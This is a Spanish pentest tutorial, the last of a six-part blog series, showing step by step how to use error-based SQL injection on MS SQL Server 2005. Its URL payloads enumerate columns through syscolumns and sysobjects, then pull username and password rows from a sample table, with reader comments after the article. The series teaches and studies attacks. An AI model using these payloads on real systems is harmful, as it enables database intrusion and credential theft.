Inyección de código SQL en MS SQL Server 2005 (Parte 6 de 6)

3

Visto 1874 veces | Publicado el 21/01/2010 | sql pentest hacking vulnerabilidades


He aquí el último artículo de esta serie de seis sobre la vulnerabilidad de Inyección de código SQL en MS SQL Server 2005. Una vez obtenidas las tablas, vamos a pasar a obtener los campos de una tabla determinada. Para nuestro ejemplo vamos a obtener los datos de la tabla tabla_usuarios.

Primero vamos a contar los campos que contiene nuestra tabla utilizando count y vamos a introducir el resultado entre el carácter ^.Esto se puede utilizar para la automatización.

Consulta:

http://server/insertar.asp?texto=admin'+and 1=convert(int,(SELECT char(94)%2bcast(count(*) as varchar(10))%2bchar(94) FROM BASE_EJEMPLO..syscolumns WHERE id = (SELECT top 1 id FROM BASE_EJEMPLO..sysobjects WHERE name = 'tabla_usuarios')))--

Resultado: ^2^ lo que indica que tiene dos campos nuestra tabla.

Para obtener los campos de una tabla vamos a realizar una consulta con subconsulta, en la que consultamos los campos (tabla de sistema syscolumns) de la tabla que queramos consultar (tabla del sistema para consulta de tablas sysobjects) haciendo hincapié en que lo único que hay que cambiar en la siguiente consulta es el name=’tabla_usuariosdonde debemos poner el nombre de la tabla cuyos campos queremos obtener.

Consulta:

http://server/insertar.asp?texto=admin'+and 1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..syscolumns WHERE id = (SELECT top 1 id FROM BASE_EJEMPLO..sysobjects WHERE name = 'tabla_usuarios')))--

Campo: usuario

Ahora obtenemos el siguiente campo por el método seguido en todos los casos anteriores de comparación.

Consulta:

http://server/insertar.asp?texto=admin'+and 1=convert(int,(SELECT  top 1 name FROM BASE_EJEMPLO..syscolumns WHERE name<'usuario' and id = (SELECT top 1 id FROM BASE_EJEMPLO..sysobjects WHERE name = 'tabla_usuarios')))--

Campo: passwd

En la consulta anterior lo único que hemos añadido ha sido la clausula WHERE name<’usuario’ e la que para obtener los campos hay que cambiar usuario  por el resultado obtenido en la primera consulta de obtención de campos (imagen 023).

La obtención de los datos es bastante más simple que las complejas consultas anteriores, ya que se trata de construir consultas SQL normales debido a que en este punto ya tenemos el nombre de la base de datos, las tablas y los campos, por lo que las consultas se simplifican bastante, no teniendo que consultar tablas del DBMS. Además, no es necesario consultar campo a campo los datos ya que podemos concatenar los resultados utilizando char(94) para concatenar cada uno de los campos en una sola petición, y obtendríamos todos los datos de una tupla separados por el carácter ^ de la siguiente forma:

Consulta:

http://server/insertar.asp?texto=admin'+and 1=convert(int,(SELECT  top 1 usuario%2bchar(94)%2bpasswd FROM BASE_EJEMPLO..tabla_usuarios order by usuario))--

Datos: admin ^contrasenia001122

Consulta:

http://server/insertar.asp?texto=admin'+and 1=convert(int,(SELECT  top 1 usuario%2bchar(94)%2bpasswd FROM BASE_EJEMPLO..tabla_usuarios where usuario>'admin' order by usuario))--

Datos: andres ^otracontrasenia

Consulta:

http://server/insertar.asp?texto=admin'+and 1=convert(int,(SELECT  top 1 usuario%2bchar(94)%2bpasswd FROM BASE_EJEMPLO..tabla_usuarios where usuario>'andres' order by usuario))--

Datos: pepe ^contrasenia

Consulta:

http://server/insertar.asp?texto=admin'+and 1=convert(int,(SELECT  top 1 usuario%2bchar(94)%2bpasswd FROM BASE_EJEMPLO..tabla_usuarios where usuario>'pepe' order by usuario))--

Datos: usuariodepruebas ^lapassdeluserdepruebas

Ya hemos conseguido obtener todo tipo de datos acerca del servidor SQL: sistema operativo, motor de base de datos, bases de datos existentes, tablas, usuarios, etc. Únicamente resta explicar cómo ejecutar comandos en el DBMS en caso de disponer de usuario con privilegios así como escribir ficheros en el servidor que se tratará en futuros artículos.

Muchos de estos procesos y ciertas tareas se pueden automatizar y se puede utilizar incluso alguna de las herramientas que ya se comentaron en Hacktimes como SQLiHelper, Pangolin, etc.

 

Puedes descargarte el artículo completo las 6 partes aquí: Inyección en Sql Server 2005


febrero 11 11:03 a.m.
freed0m dijo:

Hemos publicado el pdf actualizado con algunos comentarios que se han hecho sobre el artículo. Os recomendamos descargarlo nuevamente.

enero 25 6:13 p.m.
McChain dijo:

Thank you so much "Someone"!We're glad to like you this paper.

enero 23 4:31 p.m.
someone dijo:

Great job! Thanks


Añadir comentario










captcha


Búsqueda

Síguenos


El staff de Hacktimes ruega a cualquier persona interesada en la distribución y/o publicación de estos artículos que lo haga sin alterar su contenido y cite a su autor y/o la fuente original. Muchas gracias.

Todos los artículos publicados se encuentran bajo la licencia Creative Commons